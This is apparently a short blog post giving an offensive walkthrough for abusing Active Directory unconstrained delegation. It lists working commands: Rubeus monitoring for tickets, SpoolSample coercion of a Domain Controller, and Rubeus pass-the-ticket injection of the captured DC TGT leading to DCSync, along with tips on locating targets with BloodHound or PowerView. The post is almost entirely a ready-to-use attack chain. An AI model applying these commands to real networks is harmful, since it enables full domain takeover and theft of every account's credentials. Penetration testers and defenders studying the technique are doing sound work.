Abuse unconstrained delegation with a coerced DC

Jul 10, 2026 · 1 min read

Compromise a server trusted for unconstrained delegation, start a capture, then coerce a Domain Controller to authenticate to it. The DC’s TGT lands in memory.

bash

Rubeus.exe monitor /interval:1 /nowrap
SpoolSample.exe DC01 UNCONSTRAINED-HOST   # coerce DC to connect

Extract and reuse the captured DC ticket.

bash

Rubeus.exe ptt /ticket:doIF...   # inject DC$ TGT, then DCSync

Pro note: find delegation config with BloodHound or a PowerView query for TrustedForDelegation. A captured DC TGT is game over via DCSync. Modern mitigations mark sensitive accounts as not delegatable, so confirm the target user or machine is delegatable before relying on this.